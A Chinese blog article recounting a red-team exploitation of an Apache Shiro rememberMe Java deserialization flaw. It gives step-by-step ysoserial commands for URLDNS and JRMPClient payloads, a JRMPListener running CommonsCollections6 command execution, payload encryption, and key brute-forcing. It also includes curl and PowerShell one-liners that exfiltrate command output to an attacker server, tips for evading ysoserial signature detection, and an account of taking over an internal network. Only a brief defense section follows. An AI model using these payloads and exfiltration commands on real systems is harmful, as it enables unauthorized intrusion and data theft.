当前位置: 首页 > news >正文

从ysoserial到实战:一次完整的Java反序列化漏洞利用复盘(含Burp Collaborator配置)

从ysoserial到实战:一次完整的Java反序列化漏洞利用复盘

在渗透测试领域,Java反序列化漏洞一直是攻击者最青睐的攻击向量之一。这种漏洞之所以危险,是因为它往往存在于应用的核心组件中,且利用门槛相对较低。记得去年在一次红队演练中,我遇到一个看似普通的Java Web应用,最终却通过反序列化漏洞拿下了整个内网权限。本文将还原那次实战过程,重点分享从漏洞发现到完整利用的每个技术细节。

1. 环境准备与工具链搭建

工欲善其事,必先利其器。在开始漏洞利用前,需要准备以下工具和环境:

  • ysoserial:主攻Java反序列化的瑞士军刀,支持多种payload生成
  • Burp Suite Professional:必备的渗透测试工具,特别是Collaborator功能
  • Java 8+开发环境:建议使用与目标相近的JDK版本
  • Shiro反序列化利用工具:用于加密payload的特殊工具

安装ysoserial最简单的方式是直接克隆GitHub仓库并编译:

git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests

提示:在实际渗透中,建议对ysoserial进行定制化修改以避免特征检测。常见的修改包括更改类名、添加垃圾代码等。

Burp Collaborator的配置往往被初学者忽视,但它对漏洞验证至关重要。在Burp Suite中:

  1. 进入"Burp" → "Collaborator client"
  2. 点击"Copy to clipboard"获取 Collaborator 域名
  3. 保持Collaborator客户端运行状态

2. 漏洞发现与初步验证

发现Shiro反序列化漏洞通常从识别rememberMe cookie开始。在Burp中拦截登录请求时,如果响应中包含如下Set-Cookie头部,就可能存在漏洞:

Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT

验证漏洞存在与否的黄金法则是使用URLDNS payload。这个payload的优势是:

  • 不依赖特定第三方库
  • 仅触发DNS查询,不执行命令
  • 几乎不会对目标造成影响

生成payload的命令如下:

java -jar ysoserial.jar URLDNS "http://your-subdomain.burpcollaborator.net" > urldns.ser

接下来需要使用Shiro专用工具对payload进行AES加密:

java -jar shiro-exp.jar encrypt urldns.ser

将输出的rememberMe值替换到请求Cookie中发送。如果Burp Collaborator收到DNS查询,就确认漏洞存在。

3. 深入利用:从验证到RCE

确认漏洞后,真正的挑战是获取远程代码执行(RCE)。这里需要分阶段进行:

3.1 JRMP监听器搭建

在公网服务器上启动JRMP监听器是常见手法。以下命令会在端口1099启动监听,使用CommonsCollections6链执行命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "ping your-subdomain.burpcollaborator.net"

注意:选择正确的gadget链至关重要。CommonsCollections6在大多数环境下可用,但有时需要尝试其他链如CommonsCollections1、3等。

3.2 生成JRMPClient payload

接着生成指向我们监听器的序列化payload:

java -jar ysoserial.jar JRMPClient "your-server-ip:1099" > jrmp.ser

同样需要加密这个payload:

java -jar shiro-exp.jar encrypt jrmp.ser

3.3 触发漏洞

将加密后的payload作为rememberMe cookie发送。成功时会发生以下链式反应:

  1. 目标服务器反序列化JRMPClient payload
  2. 服务器尝试连接我们的JRMP监听器
  3. 监听器返回恶意序列化对象
  4. 目标服务器再次反序列化,执行预设命令

如果一切顺利,Burp Collaborator会收到DNS或HTTP请求,确认命令执行成功。

4. 实战中的疑难排解

在实际渗透中,很少有一次成功的案例。以下是常见问题及解决方案:

问题1:Collaborator收到DNS查询但无命令执行

可能原因:

  • 目标缺少相应的gadget链依赖
  • 网络防火墙阻止了JRMP连接
  • Shiro版本较新,密钥已变更

解决方案表

现象可能原因验证方法解决方案
有DNS无RCE依赖缺失检查目标lib目录尝试不同gadget链
完全无响应密钥错误测试多个常见密钥暴力破解密钥
间歇性成功网络限制尝试不同端口使用HTTP协议代替JRMP

问题2:命令执行但无回显

这时需要构造带外(OOB)数据外传。例如:

curl http://your-server-ip:8080/$(whoami | base64)

或者在Windows系统上:

powershell -c "Invoke-WebRequest -Uri http://your-server-ip:8080/$(whoami)"

5. 防御建议与检测方法

了解了攻击手法后,如何防御这类漏洞同样重要。以下是一些有效的防护措施:

  • 升级Shiro:确保使用最新版本,官方已修复已知反序列化问题
  • 更换默认密钥:修改Shiro的AES加密密钥,防止攻击者使用常见密钥
  • 输入过滤:对rememberMe cookie进行严格验证
  • JEP 290:在Java环境中启用序列化过滤器

检测系统是否 vulnerable 的简单方法:

// 示例检测代码片段 try { ObjectInputStream ois = new ObjectInputStream(inputStream); ois.readObject(); // 如果代码执行到这里,说明反序列化未被过滤 logger.warn("Unsafe deserialization enabled!"); } catch (Exception e) { // 安全配置会抛出异常 }

在一次真实的渗透测试中,正是通过这种反序列化漏洞,我从一个边缘系统逐步深入,最终获得了整个网络的控制权。整个过程耗时约3天,其中大部分时间花在各种异常情况的排查上。记得在最后阶段,目标系统使用了自定义的类加载器,导致标准payload失效。通过分析目标应用的lib目录,发现了一个冷门的XML解析库,最终利用其特性构造了特殊的gadget链才取得成功。

http://www.jsqmd.com/news/722741/

相关文章:

  • 告别龟速下载!用FFmpeg命令行高效抓取M3U8视频的3种实战姿势(附加速参数)
  • Zotero PDF Translate:学术文献跨语言阅读的终极革命性方案
  • 福鼎白茶最大OEM代工厂董德茶业为品牌方定制专属茶叶风味
  • 影史会记住谁《灵魂摆渡・浮生梦》的争议还是《第一大道》的开创
  • delphi cxgrid Footer设置
  • Creality Sermoon S1双模3D扫描仪开箱与核心技术解析
  • 【人生底稿 15】2023.11 第一次出差:奔赴呼和浩特,一周政务项目攻坚实录
  • ollama v0.22.0 发布:新增 NVIDIA Nemotron 3 Omni 与 Poolside Laguna 模型支持,推理能力再升级!
  • Docker AI Toolkit 2026正式版深度拆解:实测LLM本地推理提速217%,这4个隐藏配置90%用户从未启用
  • 2026年Q2四川区域合力叉车供应服务商排行盘点 - 优质品牌商家
  • 棉花糖实验
  • NVIDIA Blackwell架构数据中心能效优化实战
  • PHP处理Looka颜色方案提取方法【教程】
  • Flink实时数仓入门:如何用自定义Source模拟Kafka数据流进行本地调试?
  • BetterRenderDragon:让你的Minecraft基岩版画面焕然一新
  • Qwen3-4B-Thinking-Gemini-Distill行业落地:教育科技公司AI助教系统集成实践
  • SDK到底是什么
  • 如何快速掌握Unity游戏实时翻译:XUnity.AutoTranslator完整使用指南
  • delphi 让数据列拥有简单的计算能力
  • 一人公司的新操作系统:Gumroad 创始人把创业方法论变成了 10 个 Claude Code Skill
  • 汽配店老板亲测:汽车erp进销存软件推荐避坑指南
  • Qwen3.5-9B-AWQ-4bit多场景落地:医疗报告图识别、教学PPT内容解析、证件OCR辅助
  • AI语音转录终极指南:faster-whisper-GUI完整使用教程
  • 异步流内存泄漏与死锁频发?C# 13新增IAsyncEnumerator.DisposeAsync()深度解析,含.NET 8.0.3 Runtime源码级验证
  • 真实结构光栅效应的研究
  • 2026年热浸锌桥架厂家top5实测排行:喷塑防火电缆桥架,四川桥架厂家,弱电桥架,托盘桥架,优选推荐! - 优质品牌商家
  • Claude Code 42 条技巧
  • 011、RAG入门:为什么需要检索增强生成
  • 2026 年起,人形机器人将在东京羽田机场“上岗”,能否胜任仍待观察
  • PHP 8.9 JIT调优黄金窗口期只剩47天!——PHP官方已标记jit.enable为“deprecated in 9.0”,速领迁移过渡方案